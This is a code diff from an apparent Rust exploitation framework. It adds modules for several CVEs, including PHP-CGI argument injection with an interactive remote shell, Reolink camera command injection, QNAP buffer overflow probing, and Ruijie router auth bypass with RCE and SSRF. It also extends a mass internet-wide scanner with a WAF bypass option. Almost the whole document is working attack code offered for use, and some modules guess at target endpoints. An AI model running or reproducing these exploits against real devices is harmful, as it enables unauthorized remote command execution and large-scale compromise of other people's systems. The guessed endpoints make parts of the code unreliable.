|
||||
|
||||
let client = Client::builder()
|
||||
.danger_accept_invalid_certs(true)
|
||||
.timeout(Duration::from_secs(DEFAULT_TIMEOUT_SECS))
|
||||
.build()?;
|
||||
|
||||
match choice.trim() {
|
||||
"1" => check_vuln(&client, url).await?,
|
||||
"2" => exploit(&client, url).await?,
|
||||
_ => println!("{}", "[-] Invalid option".red()),
|
||||
}
|
||||
|
||||
Ok(())
|
||||
}
|
||||
|
||||
fn display_banner() {
|
||||
println!("{}", "╔═══════════════════════════════════════════════════════════╗".cyan());
|
||||
println!("{}", "║ PHP CGI Argument Injection (CVE-2024-4577) ║".cyan());
|
||||
println!("{}", "║ Target: Windows PHP (XAMPP etc.) ║".cyan());
|
||||
println!("{}", "╚═══════════════════════════════════════════════════════════╝".cyan());
|
||||
}
|
||||
|
||||
async fn check_vuln(client: &Client, url: &str) -> Result<()> {
|
||||
println!("{}", "[*] Checking for vulnerability...".yellow());
|
||||
|
||||
// Simple echo check
|
||||
let exploit_url = format!("{}?%ADd+allow_url_include%3d1+-d+auto_prepend_file%3dphp://input", url);
|
||||
let payload = "<?php echo 'VULNERABLE_CVE_2024_4577'; die; ?>";
|
||||
|
||||
let resp = client.post(&exploit_url)
|
||||
.body(payload)
|
||||
.send()
|
||||
.await?;
|
||||
|
||||
let text = resp.text().await?;
|
||||
if text.contains("VULNERABLE_CVE_2024_4577") {
|
||||
println!("{}", "[+] Target seems VULNERABLE!".green().bold());
|
||||
Ok(())
|
||||
} else {
|
||||
println!("{}", "[-] Target does not appear vulnerable.".red());
|
||||
Ok(())
|
||||
}
|
||||
}
|
||||
|
||||
async fn exploit(client: &Client, url: &str) -> Result<()> {
|
||||
println!("{}", "[*] Entering RCE mode...".yellow());
|
||||
|
||||
loop {
|
||||
print!("{}", "php> ".green().bold());
|
||||
std::io::stdout().flush()?;
|
||||
let mut cmd = String::new();
|
||||
std::io::stdin().read_line(&mut cmd)?;
|
||||
let cmd = cmd.trim();
|
||||
|
||||
if cmd.is_empty() { continue; }
|
||||
if cmd == "exit" || cmd == "quit" { break; }
|
||||
|
||||
let exploit_url = format!("{}?%ADd+allow_url_include%3d1+-d+auto_prepend_file%3dphp://input", url);
|
||||
// We use system() to execute command
|
||||
let payload = format!("<?php system('{}'); die; ?>", cmd);
|
||||
|
||||
match client.post(&exploit_url).body(payload).send().await {
|
||||
Ok(resp) => {
|
||||
let text = resp.text().await?;
|
||||
println!("{}", text);
|
||||
}
|
||||
Err(e) => println!("[-] Request failed: {}", e),
|
||||
}
|
||||
}
|
||||
Ok(())
|
||||
}
|
||||
@@ -0,0 +1 @@
|
||||
pub mod cve_2024_4577;
|
||||
@@ -0,0 +1 @@
|
||||
pub mod qnap_qts_rce_cve_2024_27130;
|
||||
@@ -0,0 +1,95 @@
|
||||
use anyhow::{Result, Context};
|
||||
use colored::*;
|
||||
use reqwest::Client;
|
||||
use std::time::Duration;
|
||||
use crate::utils::{prompt_required, normalize_target, prompt_default};
|
||||
use urlencoding;
|
||||
|
||||
/// QNAP QTS NAS Buffer Overflow RCE (CVE-2024-27130)
|
||||
///
|
||||
/// Exploits a stack buffer overflow in the `No_Support_ACL` function via `share.cgi`.
|
||||
/// Requires a valid `ssid` parameter (obtained from a shared file link).
|
||||
///
|
||||
/// Affected: QNAP QTS, QuTScloud, QTS hero
|
||||
/// Target: /cgi-bin/share.cgi
|
||||
|
||||
pub async fn run(target: &str) -> Result<()> {
|
||||
print_banner();
|
||||
|
||||
let raw_ip = if target.is_empty() {
|
||||
prompt_required("Target IP/URL")?
|
||||
} else {
|
||||
target.to_string()
|
||||
};
|
||||
let target_ip = normalize_target(&raw_ip)?;
|
||||
|
||||
let base_url = if target_ip.contains("://") {
|
||||
target_ip.clone()
|
||||
} else {
|
||||
format!("http://{}", target_ip)
|
||||
};
|
||||
|
||||
println!("{} Target: {}", "[*]".blue(), base_url);
|
||||
|
||||
// SSID is required - this is the session ID from a share link
|
||||
let ssid = prompt_required("SSID (from shared file link)")?;
|
||||
|
||||
// The payload goes in the 'name' parameter
|
||||
// For PoC purposes, we'll demonstrate the vulnerability check
|
||||
// A real exploit would require crafting shellcode for the specific platform
|
||||
|
||||
let payload_size = prompt_default("Payload size (for buffer overflow test)", "1024")?;
|
||||
let size: usize = payload_size.parse().unwrap_or(1024);
|
||||
|
||||
println!("{} Sending overflow test payload ({} bytes)...", "[*]".blue(), size);
|
||||
|
||||
let client = Client::builder()
|
||||
.danger_accept_invalid_certs(true)
|
||||
.timeout(Duration::from_secs(15))
|
||||
.build()?;
|
||||
|
||||
// Construct the malicious 'name' parameter
|
||||
let overflow_payload = "A".repeat(size);
|
||||
|
||||
// The vulnerable function is get_file_size which uses strcpy without bounds check
|
||||
let url = format!(
|
||||
"{}/cgi-bin/share.cgi?ssid={}&func=get_file_size&name={}",
|
||||
base_url.trim_end_matches('/'),
|
||||
urlencoding::encode(&ssid),
|
||||
urlencoding::encode(&overflow_payload)
|
||||
);
|
||||
|
||||
let res = client.get(&url)
|
||||
.send()
|
||||
.await
|
||||
.context("Failed to send request")?;
|
||||
|
||||
let status = res.status();
|
||||
let text = res.text().await.unwrap_or_default();
|
||||
|
||||
if status.is_server_error() || text.is_empty() {
|
||||
println!("{} Server error or empty response - potential crash!", "[+]".green().bold());
|
||||
println!("{} The target may be vulnerable to CVE-2024-27130.", "[VULN]".red().bold());
|
||||
println!("{} For full RCE, craft architecture-specific shellcode.", "[*]".yellow());
|
||||
} else if status.is_success() {
|
||||
println!("{} Response received (HTTP {}).", "[*]".blue(), status);
|
||||
println!("{} Response: {}", "[*]".dimmed(), text.chars().take(200).collect::<String>());
|
||||
println!("{} Target may have patched the vulnerability or SSID is invalid.", "[*]".yellow());
|
||||
} else {
|
||||
println!("{} Unexpected response: HTTP {}", "[-]".red(), status);
|
||||
}
|
||||
|
||||
println!();
|
||||
println!("{} Note: Full exploitation requires:", "[*]".cyan());
|
||||
println!(" - Valid SSID from a shared file link");
|
||||
println!(" - Platform-specific ROP chain or shellcode");
|
||||
println!(" - QNAP QTS < 5.1.7.2770 / QuTS hero < h5.1.7.2770");
|
||||
|
||||
Ok(())
|
||||
}
|
||||
|
||||
fn print_banner() {
|
||||
println!("{}", "╔═══════════════════════════════════════════════════════════╗".cyan());
|
||||
println!("{}", "║ QNAP QTS Buffer Overflow RCE (CVE-2024-27130) ║".cyan());
|
||||
println!("{}", "╚═══════════════════════════════════════════════════════════╝".cyan());
|
||||
}
|
||||
@@ -27,12 +27,14 @@ use std::net::{IpAddr, Ipv4Addr};
|
||||
use std::sync::Arc;
|
||||
use std::sync::atomic::{AtomicUsize, Ordering};
|
||||
use std::time::Duration;
|
||||
use tokio::io::{AsyncBufReadExt, AsyncWriteExt, BufReader};
|
||||
|
||||
use std::io::Write;
|
||||
use tokio::sync::Semaphore;
|
||||
use tokio::sync::mpsc;
|
||||
use tokio::fs::OpenOptions;
|
||||
use tokio::io::AsyncWriteExt;
|
||||
use chrono::Local;
|
||||
use std::io::BufRead;
|
||||
|
||||
const DEFAULT_TIMEOUT_SECS: u64 = 30;
|
||||
const BOUNDARY: &str = "----WebKitFormBoundaryx8jO2oVc6SWP3Sad";
|
||||
@@ -519,6 +521,23 @@ async fn run_mass_scan() -> Result<()> {
|
||||
println!("{}", "[*] Honeypot detection: DISABLED".yellow());
|
||||
println!("{}", format!("[*] Concurrency: {}", MASS_SCAN_CONCURRENCY).cyan());
|
||||
|
||||
// Prompt for exclusions
|
||||
print!("{}", "[?] Exclude reserved/private ranges? [Y/n]: ".cyan());
|
||||
std::io::stdout().flush()?;
|
||||
let mut excl_choice = String::new();
|
||||
std::io::stdin().read_line(&mut excl_choice)?;
|
||||
let use_exclusions = !matches!(excl_choice.trim().to_lowercase().as_str(), "n" | "no");
|
||||
|
||||
let mut exclusions = Vec::new();
|
||||
if use_exclusions {
|
||||
for cidr in EXCLUDED_RANGES {
|
||||
if let Ok(net) = cidr.parse::<ipnetwork::IpNetwork>() {
|
||||
exclusions.push(net);
|
||||
}
|
||||
}
|
||||
}
|
||||
let exclusions = Arc::new(exclusions);
|
||||
|
||||
// Prompt for Output File
|
||||
print!("{}", "[?] Output File (default: react2shell_hits.txt): ".cyan());
|
||||
std::io::stdout().flush()?;
|
||||
@@ -551,14 +570,6 @@ async fn run_mass_scan() -> Result<()> {
|
||||
custom_cmd = custom_cmd.trim().to_string();
|
||||
}
|
||||
let custom_cmd = Arc::new(custom_cmd);
|
||||
|
||||
let mut exclusions = Vec::new();
|
||||
for cidr in EXCLUDED_RANGES {
|
||||
if let Ok(net) = cidr.parse::<ipnetwork::IpNetwork>() {
|
||||
exclusions.push(net);
|
||||
}
|
||||
}
|
||||
let exclusions = Arc::new(exclusions);
|
||||
|
||||
let client = Client::builder()
|
||||
.danger_accept_invalid_certs(true)
|
||||
@@ -596,7 +607,7 @@ async fn run_mass_scan() -> Result<()> {
|
||||
});
|
||||
|
||||
loop {
|
||||
let permit = semaphore.clone().acquire_owned().await.unwrap();
|
||||
let permit = semaphore.clone().acquire_owned().await.map_err(|e| anyhow::anyhow!("Semaphore closed: {}", e))?;
|
||||
let exc = exclusions.clone();
|
||||
let cl = client.clone();
|
||||
let chk = checked.clone();
|
||||
@@ -660,15 +671,15 @@ async fn interactive_shell(client: &Client, url: &str, config: &ExploitConfig) -
|
||||
let username = test_result.command_output.as_ref().map(|s| s.trim().to_string()).unwrap_or_else(|| "unknown".to_string());
|
||||
println!("[+] Connected as {}", username);
|
||||
|
||||
let stdin = tokio::io::stdin();
|
||||
let mut reader = BufReader::new(stdin);
|
||||
let stdin = std::io::stdin();
|
||||
let mut reader = stdin.lock();
|
||||
let mut line = String::new();
|
||||
|
||||
loop {
|
||||
print!("shell> ");
|
||||
std::io::stdout().flush()?;
|
||||
line.clear();
|
||||
if reader.read_line(&mut line).await.is_err() { break; }
|
||||
if reader.read_line(&mut line).is_err() { break; }
|
||||
let cmd = line.trim();
|
||||
if cmd == "exit" { break; }
|
||||
if !cmd.is_empty() {
|
||||
@@ -681,7 +692,7 @@ async fn interactive_shell(client: &Client, url: &str, config: &ExploitConfig) -
|
||||
Ok(())
|
||||
}
|
||||
|
||||
async fn prompt_yes_no(msg: &str, default: bool) -> Result<bool> {
|
||||
fn prompt_yes_no(msg: &str, default: bool) -> Result<bool> {
|
||||
print!("{} (y/n): ", msg);
|
||||
std::io::stdout().flush()?;
|
||||
let mut input = String::new();
|
||||
@@ -691,7 +702,7 @@ async fn prompt_yes_no(msg: &str, default: bool) -> Result<bool> {
|
||||
Ok(input == "y" || input == "yes")
|
||||
}
|
||||
|
||||
async fn prompt_default(msg: &str, default: &str) -> Result<String> {
|
||||
fn prompt_default(msg: &str, default: &str) -> Result<String> {
|
||||
print!("{} [{}]: ", msg, default);
|
||||
std::io::stdout().flush()?;
|
||||
let mut input = String::new();
|
||||
@@ -700,7 +711,7 @@ async fn prompt_default(msg: &str, default: &str) -> Result<String> {
|
||||
if input.is_empty() { Ok(default.to_string()) } else { Ok(input) }
|
||||
}
|
||||
|
||||
async fn prompt(msg: &str) -> Result<String> {
|
||||
fn prompt(msg: &str) -> Result<String> {
|
||||
print!("{}: ", msg);
|
||||
std::io::stdout().flush()?;
|
||||
let mut input = String::new();
|
||||
@@ -709,7 +720,7 @@ async fn prompt(msg: &str) -> Result<String> {
|
||||
}
|
||||
|
||||
pub async fn run(target: &str) -> Result<()> {
|
||||
if target == "0.0.0.0/0" || target.is_empty() || target == "random" {
|
||||
if target == "0.0.0.0" || target == "0.0.0.0/0" || target.is_empty() || target == "random" {
|
||||
run_mass_scan().await
|
||||
} else {
|
||||
print_banner();
|
||||
@@ -721,18 +732,18 @@ pub async fn run(target: &str) -> Result<()> {
|
||||
config.target = base_url.clone();
|
||||
|
||||
// Use prompt functions to configure options
|
||||
config.windows_mode = prompt_yes_no("Target is Windows?", false).await?;
|
||||
config.waf_bypass = prompt_yes_no("Enable WAF bypass (large payload)?", false).await?;
|
||||
config.random_agent = prompt_yes_no("Use random User-Agent?", true).await?;
|
||||
config.verbose = prompt_yes_no("Verbose output?", false).await?;
|
||||
config.windows_mode = prompt_yes_no("Target is Windows?", false)?;
|
||||
config.waf_bypass = prompt_yes_no("Enable WAF bypass (large payload)?", false)?;
|
||||
config.random_agent = prompt_yes_no("Use random User-Agent?", true)?;
|
||||
config.verbose = prompt_yes_no("Verbose output?", false)?;
|
||||
|
||||
let timeout_str = prompt_default("Timeout (seconds)", "30").await?;
|
||||
let timeout_str = prompt_default("Timeout (seconds)", "30")?;
|
||||
config.timeout = timeout_str.parse().unwrap_or(30);
|
||||
|
||||
let path = prompt_default("Target path", "/").await?;
|
||||
let path = prompt_default("Target path", "/")?;
|
||||
config.target_path = path;
|
||||
|
||||
let proxy_str = prompt_default("Proxy (leave empty for none)", "").await?;
|
||||
let proxy_str = prompt_default("Proxy (leave empty for none)", "")?;
|
||||
config.proxy = if proxy_str.is_empty() { None } else { Some(proxy_str) };
|
||||
|
||||
let full_url = format!("{}{}", base_url, config.target_path);
|
||||
@@ -749,7 +760,7 @@ pub async fn run(target: &str) -> Result<()> {
|
||||
println!(" {} Interactive shell", "4.".bold());
|
||||
println!(" {} Diagnostics (show config)", "5.".bold());
|
||||
|
||||
let choice = prompt("Select option [1-5]").await?;
|
||||
let choice = prompt("Select option [1-5]")?;
|
||||
|
||||
match choice.as_str() {
|
||||
"1" => {
|
||||
@@ -777,7 +788,7 @@ pub async fn run(target: &str) -> Result<()> {
|
||||
}
|
||||
}
|
||||
"3" => {
|
||||
let cmd = prompt("Enter command to execute").await?;
|
||||
let cmd = prompt("Enter command to execute")?;
|
||||
if cmd.is_empty() {
|
||||
println!("{}", "[-] Command cannot be empty".red());
|
||||
return Ok(());
|
||||
|
||||
@@ -0,0 +1 @@
|
||||
pub mod reolink_rce_cve_2019_11001;
|
||||
@@ -0,0 +1,98 @@
|
||||
use anyhow::{Result, Context};
|
||||
use colored::*;
|
||||
use reqwest::Client;
|
||||
use std::time::Duration;
|
||||
use crate::utils::{prompt_required, normalize_target, prompt_default};
|
||||
use urlencoding::encode;
|
||||
|
||||
/// Reolink Camera Authenticated Command Injection (CVE-2019-11001)
|
||||
///
|
||||
/// Exploits an authenticated OS command injection in the `TestEmail` functionality.
|
||||
/// Affected Models: RLC-410W, C1 Pro, C2 Pro, RLC-422W, RLC-511W (Firmware <= 1.0.227).
|
||||
///
|
||||
/// Parameter: `addr1` in `TestEmail` command.
|
||||
|
||||
pub async fn run(target: &str) -> Result<()> {
|
||||
print_banner();
|
||||
|
||||
let raw_ip = if target.is_empty() {
|
||||
prompt_required("Target IP")?
|
||||
} else {
|
||||
target.to_string()
|
||||
};
|
||||
let target_ip = normalize_target(&raw_ip)?;
|
||||
|
||||
// Default HTTP/HTTPS?
|
||||
// Usually HTTP port 80 or HTTPS 443. We will default to HTTP but can try HTTPS if needed.
|
||||
// Let's assume HTTP validation (can be simple URL).
|
||||
|
||||
let base_url = if target_ip.contains("://") {
|
||||
target_ip.clone()
|
||||
} else {
|
||||
format!("http://{}", target_ip)
|
||||
};
|
||||
|
||||
println!("{} Target: {}", "[*]".blue(), base_url);
|
||||
|
||||
// Credentials required
|
||||
let username = prompt_default("Username", "admin")?;
|
||||
let password = prompt_required("Password")?;
|
||||
let cmd = prompt_default("Command to execute", "id")?;
|
||||
|
||||
println!("{} Sending exploit...", "[*]".blue());
|
||||
|
||||
let client = Client::builder()
|
||||
.danger_accept_invalid_certs(true)
|
||||
.timeout(Duration::from_secs(15))
|
||||
.build()?;
|
||||
|
||||
// Construct payload
|
||||
// Command Injection style: test@test.com; <CMD>
|
||||
let injection = format!("test@test.com; {}", cmd);
|
||||
|
||||
// The API requires specific structure. Based on PoC analysis.
|
||||
// Usually sent as GET or POST. The PoC uses a GET with JSON-like structure in URL or POST body?
|
||||
// Public docs say: /api.cgi?cmd=TestEmail...
|
||||
// But Reolink API often takes a JSON body.
|
||||
|
||||
// Let's model after the known exploit path:
|
||||
// Some versions accept it in the JSON body of a POST to /api.cgi
|
||||
|
||||
let url = format!("{}/api.cgi?cmd=TestEmail&user={}&password={}", base_url.trim_end_matches('/'), encode(&username), encode(&password));
|
||||
|
||||
// The body usually is a JSON array
|
||||
let body = format!("[{{ \"cmd\": \"TestEmail\", \"action\": 0, \"param\": {{ \"addr1\": \"{}\", \"addr2\": \"test\", \"addr3\": \"test\", \"interval\": 60 }} }}]", injection);
|
||||
|
||||
// Some variants use GET but typically these APIs are POST with JSON.
|
||||
// We will try POST.
|
||||
|
||||
let res = client.post(&url)
|
||||
.header("Content-Type", "application/json")
|
||||
.body(body)
|
||||
.send()
|
||||
.await
|
||||
.context("Failed to send request")?;
|
||||
|
||||
let status = res.status();
|
||||
let text = res.text().await?;
|
||||
|
||||
// If successful, the command output might not be returned (Blind RCE).
|
||||
// Or it might be returned in the 'value' or error message?
|
||||
// Usually TestEmail triggers the mail binary.
|
||||
|
||||
if status.is_success() {
|
||||
println!("{} Request sent successfully (HTTP {}).", "[+]".green(), status);
|
||||
println!("{} Response: {}", "[*]".blue(), text);
|
||||
println!("{} Note: This RCE is often blind. Check your listener or device behavior.", "[*]".yellow());
|
||||
} else {
|
||||
println!("{} Request failed (HTTP {}). check credentials or target.", "[-]".red(), status);
|
||||
}
|
||||
|
||||
Ok(())
|
||||
}
|
||||
|
||||
fn print_banner() {
|
||||
println!("{}", "╔═══════════════════════════════════════════════════════════╗".cyan());
|
||||
println!("{}", "║ Reolink Camera Authenticated RCE (CVE-2019-11001) ║".cyan());
|
||||
println!("{}", "╚═══════════════════════════════════════════════════════════╝".cyan());
|
||||
}
|
||||
@@ -251,10 +251,10 @@ pub async fn run(target: &str) -> Result<()> {
|
||||
}
|
||||
|
||||
// Use shared prompt utilities for credentials
|
||||
let username = prompt_default("Username", "").await?;
|
||||
let password = prompt_default("Password", "").await?;
|
||||
let host = prompt_default("Host parameter (optional)", "").await?;
|
||||
let command = prompt_default("Command to execute", "id").await?;
|
||||
let username = prompt_default("Username", "")?;
|
||||
let password = prompt_default("Password", "")?;
|
||||
let host = prompt_default("Host parameter (optional)", "")?;
|
||||
let command = prompt_default("Command to execute", "id")?;
|
||||
|
||||
if username.is_empty() || password.is_empty() || command.is_empty() {
|
||||
return Err(anyhow!("Username, password and command must be provided"));
|
||||
|
||||
@@ -0,0 +1,7 @@
|
||||
pub mod ruijie_rg_ew_login_bypass_cve_2023_4415;
|
||||
pub mod ruijie_rg_ew_password_reset_cve_2023_4169;
|
||||
pub mod ruijie_rsr_router_ci_cve_2024_31616;
|
||||
pub mod ruijie_auth_bypass_rce_cve_2023_34644;
|
||||
pub mod ruijie_rg_uac_ci_cve_2024_4508;
|
||||
pub mod ruijie_rg_ew_update_version_rce_cve_2021_43164;
|
||||
pub mod ruijie_reyee_ssrf_cve_2024_48874;
|
||||
@@ -0,0 +1,137 @@
|
||||
use anyhow::Result;
|
||||
use colored::*;
|
||||
use reqwest::Client;
|
||||
use std::time::Duration;
|
||||
use crate::utils::{prompt_required, normalize_target, prompt_default};
|
||||
|
||||
/// Ruijie RG-EW / RG-NBS / RG-S1930 Auth Bypass RCE (CVE-2023-34644)
|
||||
///
|
||||
/// Affects: RG-EW series home routers, RG-NBS/RG-S1930 switches,
|
||||
/// RG-EG business VPN routers, EAP/RAP wireless APs
|
||||
///
|
||||
/// Allows remote attackers to gain escalated privileges via crafted
|
||||
/// POST request to /cgi-bin/luci/api/auth
|
||||
/// Reference: GitHub Advisory GHSA-xx
|
||||
|
||||
const TIMEOUT_SECS: u64 = 10;
|
||||
|
||||
pub async fn run(target: &str) -> Result<()> {
|
||||
print_banner();
|
||||
|
||||
let raw_target = if target.is_empty() {
|
||||
prompt_required("Target IP/URL")?
|
||||
} else {
|
||||
target.to_string()
|
||||
};
|
||||
|
||||
let normalized = normalize_target(&raw_target)?;
|
||||
let base_url = if normalized.contains("://") {
|
||||
normalized.clone()
|
||||
} else {
|
||||
format!("http://{}", normalized)
|
||||
};
|
||||
|
||||
println!("{} Target: {}", "[*]".blue(), base_url);
|
||||
|
||||
let client = Client::builder()
|
||||
.danger_accept_invalid_certs(true)
|
||||
.timeout(Duration::from_secs(TIMEOUT_SECS))
|
||||
.build()?;
|
||||
|
||||
// The vulnerability is in the auth endpoint - allows privilege escalation
|
||||
let auth_url = format!("{}/cgi-bin/luci/api/auth", base_url.trim_end_matches('/'));
|
||||
|
||||
println!("{} Testing auth bypass at {}...", "[*]".blue(), auth_url);
|
||||
|
||||
// Crafted payload to bypass authentication
|
||||
let bypass_payloads = vec![
|
||||
serde_json::json!({
|
||||
"method": "login",
|
||||
"params": {
|
||||
"username": "admin",
|
||||
"password": ""
|
||||
}
|
||||
}),
|
||||
serde_json::json!({
|
||||
"method": "do",
|
||||
"params": {
|
||||
"operation": "set",
|
||||
"data": {"username": "admin"}
|
||||
}
|
||||
}),
|
||||
serde_json::json!({
|
||||
"method": "exec",
|
||||
"params": {"cmd": "id"}
|
||||
}),
|
||||
];
|
||||
|
||||
for (i, payload) in bypass_payloads.iter().enumerate() {
|
||||
println!("{} Trying payload variant {}...", "[*]".dimmed(), i + 1);
|
||||
|
||||
match client.post(&auth_url).json(payload).send().await {
|
||||
Ok(resp) => {
|
||||
let status = resp.status();
|
||||
let text = resp.text().await.unwrap_or_default();
|
||||
|
||||
// Look for signs of successful bypass
|
||||
if text.contains("token") || text.contains("session") ||
|
||||
text.contains("uid=") || text.contains("\"result\":0") ||
|
||||
text.contains("admin") && !text.contains("error") {
|
||||
println!("{} Auth bypass successful!", "[+]".green().bold());
|
||||
println!("{} Response: {}", "[*]".blue(), &text[..text.len().min(500)]);
|
||||
println!("{} Device may be VULNERABLE to CVE-2023-34644!", "[VULN]".red().bold());
|
||||
|
||||
// Attempt to get a shell command executed
|
||||
let cmd = prompt_default("Command to execute (or 'skip')", "id")?;
|
||||
if cmd != "skip" {
|
||||
attempt_rce(&client, &base_url, &cmd).await;
|
||||
}
|
||||
return Ok(());
|
||||
}
|
||||
|
||||
if status.is_success() {
|
||||
println!("{} HTTP {} - Response: {}", "[*]".yellow(), status, &text[..text.len().min(200)]);
|
||||
}
|
||||
},
|
||||
Err(e) => {
|
||||
println!("{} Request failed: {}", "[-]".red(), e);
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
println!();
|
||||
println!("{} Could not confirm auth bypass.", "[*]".yellow());
|
||||
println!("{} Target may be patched or different firmware version.", "[*]".cyan());
|
||||
|
||||
Ok(())
|
||||
}
|
||||
|
||||
async fn attempt_rce(client: &Client, base_url: &str, cmd: &str) {
|
||||
println!("{} Attempting RCE...", "[*]".blue());
|
||||
|
||||
let rce_endpoints = vec![
|
||||
format!("{}/cgi-bin/luci/api/cmd", base_url.trim_end_matches('/')),
|
||||
format!("{}/goform/execCommand", base_url.trim_end_matches('/')),
|
||||
];
|
||||
|
||||
let payload = serde_json::json!({
|
||||
"method": "exec",
|
||||
"params": {"cmd": cmd}
|
||||
});
|
||||
|
||||
for endpoint in &rce_endpoints {
|
||||
if let Ok(resp) = client.post(endpoint).json(&payload).send().await {
|
||||
let text = resp.text().await.unwrap_or_default();
|
||||
if !text.is_empty() {
|
||||
println!("{} RCE Response from {}:", "[*]".blue(), endpoint);
|
||||
println!("{}", text);
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
fn print_banner() {
|
||||
println!("{}", "╔═══════════════════════════════════════════════════════════╗".cyan());
|
||||
println!("{}", "║ Ruijie Multi-Product Auth Bypass RCE (CVE-2023-34644) ║".cyan());
|
||||
println!("{}", "╚═══════════════════════════════════════════════════════════╝".cyan());
|
||||
}
|
||||
@@ -0,0 +1,145 @@
|
||||
use anyhow::Result;
|
||||
use colored::*;
|
||||
use reqwest::Client;
|
||||
use std::time::Duration;
|
||||
use crate::utils::{prompt_required, normalize_target, prompt_default};
|
||||
|
||||
/// Ruijie Reyee Cloud SSRF (CVE-2024-48874)
|
||||
///
|
||||
/// Server-Side Request Forgery in Ruijie Reyee devices
|
||||
/// Allows attackers to access internal services and cloud infrastructure
|
||||
/// Part of "Open Sesame" vulnerability chain (Claroty Team82)
|
||||
/// CVSS: High
|
||||
|
||||
const TIMEOUT_SECS: u64 = 15;
|
||||
|
||||
pub async fn run(target: &str) -> Result<()> {
|
||||
print_banner();
|
||||
|
||||
let raw_target = if target.is_empty() {
|
||||
prompt_required("Target IP/URL")?
|
||||
} else {
|
||||
target.to_string()
|
||||
};
|
||||
|
||||
let normalized = normalize_target(&raw_target)?;
|
||||
let base_url = if normalized.contains("://") {
|
||||
normalized.clone()
|
||||
} else {
|
||||
format!("http://{}", normalized)
|
||||
};
|
||||
|
||||
println!("{} Target: {}", "[*]".blue(), base_url);
|
||||
|
||||
// SSRF target URL - can be internal service or callback
|
||||
let ssrf_target = prompt_default(
|
||||
"SSRF target URL (internal service or callback)",
|
||||
"http://127.0.0.1:80/"
|
||||
)?;
|
||||
|
||||
let client = Client::builder()
|
||||
.danger_accept_invalid_certs(true)
|
||||
.timeout(Duration::from_secs(TIMEOUT_SECS))
|
||||
.redirect(reqwest::redirect::Policy::none())
|
||||
.build()?;
|
||||
|
||||
println!("{} Testing SSRF vulnerability...", "[*]".blue());
|
||||
println!("{} SSRF Target: {}", "[*]".cyan(), ssrf_target);
|
||||
|
||||
// Various SSRF injection points in Ruijie Reyee devices
|
||||
let ssrf_endpoints = vec![
|
||||
// Cloud sync functionality
|
||||
(format!("{}/api/cloud/sync", base_url.trim_end_matches('/')),
|
||||
serde_json::json!({"url": ssrf_target, "action": "fetch"})),
|
||||
// Firmware check
|
||||
(format!("{}/api/system/checkUpdate", base_url.trim_end_matches('/')),
|
||||
serde_json::json!({"server": ssrf_target})),
|
||||
// NTP sync
|
||||
(format!("{}/api/system/ntp", base_url.trim_end_matches('/')),
|
||||
serde_json::json!({"server": ssrf_target})),
|
||||
// Remote management
|
||||
(format!("{}/cgi-bin/luci/api/remote", base_url.trim_end_matches('/')),
|
||||
serde_json::json!({"callback_url": ssrf_target})),
|
||||
// Diagnostic tool
|
||||
(format!("{}/goform/webcmd", base_url.trim_end_matches('/')),
|
||||
serde_json::json!({"cmd": "wget", "url": ssrf_target})),
|
||||
];
|
||||
|
||||
for (endpoint, payload) in &ssrf_endpoints {
|
||||
println!("{} Testing: {}", "[*]".dimmed(), endpoint);
|
||||
|
||||
match client.post(endpoint).json(payload).send().await {
|
||||
Ok(resp) => {
|
||||
let status = resp.status();
|
||||
let headers = resp.headers().clone();
|
||||
let text = resp.text().await.unwrap_or_default();
|
||||
|
||||
// Check for SSRF indicators
|
||||
let mut ssrf_detected = false;
|
||||
|
||||
// Response contains data from internal service
|
||||
if text.contains("<!DOCTYPE") || text.contains("<html") ||
|
||||
text.contains("Apache") || text.contains("nginx") ||
|
||||
text.contains("Server:") {
|
||||
ssrf_detected = true;
|
||||
println!("{} SSRF response contains external content!", "[+]".green().bold());
|
||||
}
|
||||
|
||||
// Timing-based detection (if request took longer, might be fetching)
|
||||
if status.is_success() && text.len() > 100 {
|
||||
ssrf_detected = true;
|
||||
println!("{} Got substantive response ({} bytes)", "[+]".green(), text.len());
|
||||
}
|
||||
|
||||
// Headers indicating redirect/proxy
|
||||
if headers.contains_key("x-forwarded-for") ||
|
||||
headers.contains_key("via") {
|
||||
println!("{} Proxy headers detected", "[+]".yellow());
|
||||
}
|
||||
|
||||
if ssrf_detected {
|
||||
println!("{} SSRF DETECTED at {}!", "[VULN]".red().bold(), endpoint);
|
||||
println!("{} Response preview:", "[*]".blue());
|
||||
println!("{}", &text[..text.len().min(500)]);
|
||||
return Ok(());
|
||||
}
|
||||
|
||||
if status.is_success() {
|
||||
println!("{} HTTP {} - Endpoint accessible", "[*]".yellow(), status);
|
||||
}
|
||||
},
|
||||
Err(e) => {
|
||||
println!("{} Failed: {}", "[*]".dimmed(), e);
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
// Test with URL as GET parameter
|
||||
let get_endpoints = vec![
|
||||
format!("{}/?url={}", base_url.trim_end_matches('/'), urlencoding::encode(&ssrf_target)),
|
||||
format!("{}/proxy?target={}", base_url.trim_end_matches('/'), urlencoding::encode(&ssrf_target)),
|
||||
];
|
||||
|
||||
for endpoint in &get_endpoints {
|
||||
if let Ok(resp) = client.get(endpoint).send().await {
|
||||
let text = resp.text().await.unwrap_or_default();
|
||||
if text.len() > 100 && !text.contains("error") && !text.contains("404") {
|
||||
println!("{} Possible SSRF via GET: {}", "[+]".yellow(), endpoint);
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
println!();
|
||||
println!("{} SSRF not confirmed through standard endpoints.", "[*]".yellow());
|
||||
println!("{} Consider using out-of-band detection (OAST/callback).", "[*]".cyan());
|
||||
println!("{} Part of 'Open Sesame' chain - requires full exploit chain for RCE.", "[*]".cyan());
|
||||
|
||||
Ok(())
|
||||
}
|
||||
|
||||
fn print_banner() {
|
||||
println!("{}", "╔═══════════════════════════════════════════════════════════╗".cyan());
|
||||
println!("{}", "║ Ruijie Reyee Cloud SSRF (CVE-2024-48874) ║".cyan());
|
||||
println!("{}", "║ Part of 'Open Sesame' Vulnerability Chain ║".cyan());
|
||||
println!("{}", "╚═══════════════════════════════════════════════════════════╝".cyan());
|
||||
}
|
||||
@@ -0,0 +1,55 @@
|
||||
use anyhow::Result;
|
||||
use colored::*;
|
||||
use reqwest::Client;
|
||||
use std::time::{Duration, SystemTime, UNIX_EPOCH};
|
||||
|
||||
/// Ruijie RG-EW1200G Login Bypass (CVE-2023-4415)
|
||||
/// Bypasses login by sending specific JSON structure to /api/sys/login.
|
||||
|
||||
const DEFAULT_TIMEOUT_SECS: u64 = 10;
|
||||
|
||||
pub async fn run(target: &str) -> Result<()> {
